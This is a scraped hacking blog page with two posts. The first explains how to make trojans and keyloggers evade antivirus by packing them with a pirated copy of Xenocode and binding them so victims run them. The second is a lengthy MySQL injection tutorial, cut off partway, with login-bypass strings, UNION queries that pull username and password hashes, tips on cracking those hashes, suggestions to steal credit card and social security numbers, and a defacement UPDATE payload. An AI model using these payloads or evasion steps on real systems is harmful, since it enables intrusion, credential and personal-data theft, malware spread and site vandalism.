Make Keylogger and Trojan Fully Undetectable (FUD)

7/01/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihB5_JBrZg0OW2N1bQP4UPgiiraKAKF01pFk76y6eE-BC8VY5QB6EcfZ00to3nREefUYgFWbe8i8zYTjgC9sm0IgtzPWxbAE3E35dfOK_G67OoEo8sInWkz6aKna0d_APmiw5gSD5Ab68/s1600/xenode.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Make your Trojan Fully Undetectable (FUD)" border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihB5_JBrZg0OW2N1bQP4UPgiiraKAKF01pFk76y6eE-BC8VY5QB6EcfZ00to3nREefUYgFWbe8i8zYTjgC9sm0IgtzPWxbAE3E35dfOK_G67OoEo8sInWkz6aKna0d_APmiw5gSD5Ab68/s1600/xenode.gif" title="Make your Trojan Fully Undetectable (FUD)" width="320" /></a></div>
<br />
Well making a trojan is very easy now-a-days by using tools such as lostdoor, poisonivy, etc. But the real challenge is to pass the trojan a system's antivirus. Here's a post on the same. Here we used a virtual application creator, Xenocode, which is famous for creating portable applications. It kinda encrypts our trojan and further if we bind our trojan with another exe, it is bound to be executed by the victim. I'll surely post on binding in my next post.<br />
<br />
The encrypted trojan does not match with the virus definitions in the antivirus and hence is rendered undetected.<br />
<br />
<h3>
Make Trojan Fully Undetectable (FUD) using Xenocode</h3>
<br />
You can make your own trojan using LostDoor. But the problem with the so formed trojan is it being detected by almost all AV softwares. We know that after learning to make your own trojan, the next thing you must've exhausted your bandwidth searching for is: "How to make a Trojan undetectable?" Well here is the answer.<br />
<br />
First of all you'll have to download Xenocode (Never heard of it? Google it. This may help you. http://www.xenocode.com/Technology/)<br />
<br />
Xenocode is a set of application virtualization and portable application creation technologies developed by Code Systems Corporation. Applications are packed into single executable files that can be executed instantly on any Windows desktop (so called "portable apps"). The technology therefore emulates only the operation system features that are necessary for the application to run. Applications can be deployed using existing infrastructure, software deployment tools, the web or USB keys. The virtualized application runs independently from other software that is installed on the host PC so there are no conflicts between different versions or DLL files.<br />
<br />
Well, reading the above introduction must've got you acquainted you with xenocode application. You might be wondering, how this application will help you in making your Trojan undetectable.<br />
<br />
Xenocode creates a virtual operating system for processing the files you have virtualized and hence it completely overwrites your code. As you may know, AV softwares use virus signatures to identify viruses. There are ways in which you can make a trojan undetectable by modifying the Hex code, but it is very tedious. Using xenocode alleviates the pain to a negligible level. The only pain you will have is to grab a full version of the application. Keep in mind that trial version xenocode does not create virtual applications. When you will click on the build button, it will prompt you to purchase license. We hope you understand what we mean to say implicitly.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYIgTe77Akz8x6kKJvy0QVkcf7qN8ViIWeSOvNmEK2XnkchsGbX92xQ0wnolx4B6SwhtGntBHk6XuERchPkO6gFf3oEZ9GgfpQYUibQTYrVO1x1ZPh95gaHt8vuchkTHNUAjpf6bnSz0I/s1600/Virtual-Machine-Diagram.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="trojan fud crypter" border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYIgTe77Akz8x6kKJvy0QVkcf7qN8ViIWeSOvNmEK2XnkchsGbX92xQ0wnolx4B6SwhtGntBHk6XuERchPkO6gFf3oEZ9GgfpQYUibQTYrVO1x1ZPh95gaHt8vuchkTHNUAjpf6bnSz0I/s1600/Virtual-Machine-Diagram.gif" title="trojan fud crypter" width="320" /></a></div>
<br />
<br />
After you download xenocode, give your trojan as the input. Now click on the build button and then specify the location where the output file must be saved. The so formed file is your undetecable Trojan. You can try scanning it with your local AV. Or if you wanna see how far you've gone, upload the file on <a href="http://scanner.novirusthanks.org/" target="_blank">No Virus Thanks</a>. It will provide you results after scannig your file with 20 different AV. Our score for this test was 0 outa 20. No AV detected it and the file still works fine.<br />
<br />
Xenocode download <a href="http://www.ziddu.com/download/8934530/Xenocode_Virtual_Application_Studio_2008.6.1.457.rar.html" target="_blank">link</a></div>

Well making a trojan is very easy now-a-days by using tools such as lostdoor, poisonivy, etc. But the real challenge is to pass the troj...

SQL Injection Complete

6/26/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaQBqRq5JkCaeVBQgoHYd5V4BFsXnZoW-7ayaUDF3_DgaM6GY6M9DpCTcSOSki9fFTXHPxOLSX7wD4kkw5x2IVb9QaF4EgB8Hy7WcZzvZsgXHYsIyn3uTjPKG4XUU0Lu4OjQJ5ursPHEI/s1600/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="MySQL injection tutorial" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaQBqRq5JkCaeVBQgoHYd5V4BFsXnZoW-7ayaUDF3_DgaM6GY6M9DpCTcSOSki9fFTXHPxOLSX7wD4kkw5x2IVb9QaF4EgB8Hy7WcZzvZsgXHYsIyn3uTjPKG4XUU0Lu4OjQJ5ursPHEI/s1600/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png" title="MySQL injection tutorial" width="640" /></a></div>
<br />
<m:smallfrac m:val="off">    <m:dispdef>    <m:lmargin m:val="0">    <m:rmargin m:val="0">    <m:defjc m:val="centerGroup">    <m:wrapindent m:val="1440">    <m:intlim m:val="subSup">    <m:narylim m:val="undOvr">   </m:narylim></m:intlim> </m:wrapindent>  </m:defjc></m:rmargin></m:lmargin></m:dispdef></m:smallfrac><br />
<div align="center" class="MsoNormal" style="text-align: center;">
<b><i><u><span style="color: #7030a0; font-size: 16pt; line-height: 115%;">MySQL injection tutorial (Complete)</span></u></i></b></div>
<br /><div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">TABLE OF CONTENT:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
#INTRO</div>
<div class="MsoNormal" style="text-align: justify;">
#WHAT IS DATABASE?</div>
<div class="MsoNormal" style="text-align: justify;">
#WHAT IS SQL INJECTION?</div>
<div class="MsoNormal" style="text-align: justify;">
#BYPASSING LOGINS</div>
<div class="MsoNormal" style="text-align: justify;">
#ACCESSING SECRET DATA</div>
<div class="MsoNormal" style="text-align: justify;">
#Checking for vulnerability</div>
<div class="MsoNormal" style="text-align: justify;">
#Find the number of columns</div>
<div class="MsoNormal" style="text-align: justify;">
#Addressing vulnerable part</div>
<div class="MsoNormal" style="text-align: justify;">
#Finding MySQL version</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL 5 or above injection</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL 4 injection</div>
<div class="MsoNormal" style="text-align: justify;">
#MODIFYING SITE CONTENT</div>
<div class="MsoNormal" style="text-align: justify;">
#SHUTTING DOWN THE MySQL SERVER</div>
<div class="MsoNormal" style="text-align: justify;">
#LOADFILE</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL ROOT</div>
<div class="MsoNormal" style="text-align: justify;">
#MAJOR MySQL COMMANDS</div>
<div class="MsoNormal" style="text-align: justify;">
#FINALIZING THE INJECTION TUTORIAL</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">INTRO!!</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Greetz to all, I'm Hardeep. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language. Now lets begin our walkthrough of SQL injection.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">WHAT IS DATABASE?</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">WHAT IS SQL INJECTION?</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.</div>
<div class="MsoNormal" style="text-align: justify;">
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">BYPASSING LOGINS</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scriptblock is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??</div>
<div class="MsoNormal" style="text-align: justify;">
Let's see an example, where the username admin with the password pass123 can login to the site. Suppose, the SQL query for this is carried out as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='admin' AND password='pass123'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scriptblock is not sanitized. This opens a door for the hackers to gain illegal access to the site.</div>
<div class="MsoNormal" style="text-align: justify;">
In this example, the attacker can enter the following user data in the login form:</div>
<div class="MsoNormal" style="text-align: justify;">
username: <i>a or 1=1--</i></div>
<div class="MsoNormal" style="text-align: justify;">
password:<i>blank</i></div>
<div class="MsoNormal" style="text-align: justify;">
So, this would make our query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1-- AND password=''</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.</div>
<div class="MsoNormal" style="text-align: justify;">
So our above query becomes:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.</div>
<div class="MsoNormal" style="text-align: justify;">
Few such combinations are:</div>
<div class="MsoNormal" style="text-align: justify;">
username:<i>' or 1='1 password:' or 1='1</i></div>
<div class="MsoNormal" style="text-align: justify;">
username:<i>' or '1'='1' password:' or '1'='1'</i></div>
<div class="MsoNormal" style="text-align: justify;">
username:or 1=1 password:or 1=1</div>
<div class="MsoNormal" style="text-align: justify;">
and there are many more cheat sheets. Just google. In fact, you can create your own such combination to bypass logins..</div>
<div class="MsoNormal" style="text-align: justify;">
That's all about bypassing logins.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: red;">ACCESSING SECRET DATA</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 1:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Checking for vulnerability</div>
<div class="MsoNormal" style="text-align: justify;">
Suppose, u got a site:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.</div>
<div class="MsoNormal" style="text-align: justify;">
So, it is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now if the site is not vulnerable, it filters and the page loads normally.</div>
<div class="MsoNormal" style="text-align: justify;">
But, if it doesn't filter the query string, it would give the error something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">"MySQL Syntax Error By '5'' In Article.php on line 15."</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.</div>
<div class="MsoNormal" style="text-align: justify;">
Also just using ' may not be the sure test; so you may try different things like:</div>
<div class="MsoNormal" style="text-align: justify;">
www.site.com/article.php?id=5 union select 1--</div>
<div class="MsoNormal" style="text-align: justify;">
If you get error with this, you again come to know that its vulnerable... Just try different things..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 2:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Find the number of columns</div>
<div class="MsoNormal" style="text-align: justify;">
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.</div>
<div class="MsoNormal" style="text-align: justify;">
That is, we make our URL query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 1/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this didn't give error.</div>
<div class="MsoNormal" style="text-align: justify;">
Now, I do increase it to 2.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//still no error</div>
<div class="MsoNormal" style="text-align: justify;">
So, we need to increase until we get the error.</div>
<div class="MsoNormal" style="text-align: justify;">
In my example, I got error when I put the value 3 i.e.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 3/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this gave me error.</div>
<div class="MsoNormal" style="text-align: justify;">
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 3:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Addressing Vulnerable Part:</div>
<div class="MsoNormal" style="text-align: justify;">
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.</div>
<div class="MsoNormal" style="text-align: justify;">
First lets craft the union statement which won't error.. This becomes like this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..</div>
<div class="MsoNormal" style="text-align: justify;">
So for our injection, it becomes:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
For this we do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.</div>
<div class="MsoNormal" style="text-align: justify;">
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.</div>
<div class="MsoNormal" style="text-align: justify;">
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 4:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">Finding MySQL version:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().</div>
<div class="MsoNormal" style="text-align: justify;">
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
So, this would return the version of MySQL running on the server.</div>
<div class="MsoNormal" style="text-align: justify;">
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.</div>
<div class="MsoNormal" style="text-align: justify;">
@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Quick note: Also, you may check for user, database,etc.. by using following:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">Sub-section 5:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<u><span style="color: red;">MySQL 5 or above injection:</span></u></div>
<div class="MsoNormal" style="text-align: justify;">
Here, I m gonna show u how to access data in the server running MySQL 5 or above.</div>
<div class="MsoNormal" style="text-align: justify;">
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.</div>
<div class="MsoNormal" style="text-align: justify;">
For getting table list, we use: table_name from information_schema.tables</div>
<div class="MsoNormal" style="text-align: justify;">
For getting column list, we use: column_name from information_schema.columns</div>
<div class="MsoNormal" style="text-align: justify;">
So our query for getting the table list in our example would be:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT table_name, 2 FROM information_schema.tables/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And yeah if u had to use unhex(hex()) while finding version, u will have to do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.</div>
<div class="MsoNormal" style="text-align: justify;">
Similarly, to get the column list, we would make our query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.</div>
<div class="MsoNormal" style="text-align: justify;">
Alternatively to find the column in the specific table, u can do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This would display the columns present in the table tbluser. But this may not work always.</div>
<div class="MsoNormal" style="text-align: justify;">
Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.</div>
<div class="MsoNormal" style="text-align: justify;">
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)</div>
<div class="MsoNormal" style="text-align: justify;">
What I do is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And this gives me the username and password like below:</div>
<div class="MsoNormal" style="text-align: justify;">
admin:9F14974D57DE204E37C11AEAC3EE4940</div>
<div class="MsoNormal" style="text-align: justify;">
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(http://www.openwalls.org), Cain & Able(http://www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.</div>
<div class="MsoNormal" style="text-align: justify;">
Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">Sub-section 6:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="color: #00b050;">MySQL version 4 injection:</span></div>
<div class="MsoNormal" style="text-align: justify;">
Now say ur slave has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...</div>
<div class="MsoNormal" style="text-align: justify;">
Anyway, lets go for MySQL version 4 injection...</div>
<div class="MsoNormal" style="text-align: justify;">
For example, u would do as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.</div>
<div class="MsoNormal" style="text-align: justify;">
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
The page loaded normally. Now again u have to guess the column names present in the tbluser table.</div>
<div class="MsoNormal" style="text-align: justify;">
I do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this gave me error so there is no column with this name.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//It loaded the page normally along with the username from the table.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//it errored so again the column pass doesnot exist in the table tbluser.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//the page loaded normally with password hash(or plaintext password).</div>
<div class="MsoNormal" style="text-align: justify;">
Now u may do this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This gave me:</div>
<div class="MsoNormal" style="text-align: justify;">
admin:9F14974D57DE204E37C11AEAC3EE4940</div>
<div class="MsoNormal" style="text-align: justify;">
On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.</div>
<div class="MsoNormal" style="text-align: justify;">
Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">MODIFYING SITE CONTENT:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.</div>
<div class="MsoNormal" style="text-align: justify;">
Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.</div>
<div class="MsoNormal" style="text-align: justify;">
First let me list these commands:</div>
<div class="MsoNormal" style="text-align: justify;">
UPDATE: It is used to edit infos already in the db without deleting any rows.</div>
<div class="MsoNormal" style="text-align: justify;">
DELETE: It is used to delete the contents of one or more fields.</div>
<div class="MsoNormal" style="text-align: justify;">
DROP: It is used completely delete a table & all its associated data.</div>
<div class="MsoNormal" style="text-align: justify;">
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.</div>
<div class="MsoNormal" style="text-align: justify;">
Command Usage:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">UPDATE:</span></u></i></b> Our vulnerable page is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Lets say the query is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">SELECT title,data,author FROM article WHERE id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.</div>
<div class="MsoNormal" style="text-align: justify;">
So we would do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UPDATE article SET title='Hacked By Hardeep'/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or, u could alternatively do:</div>
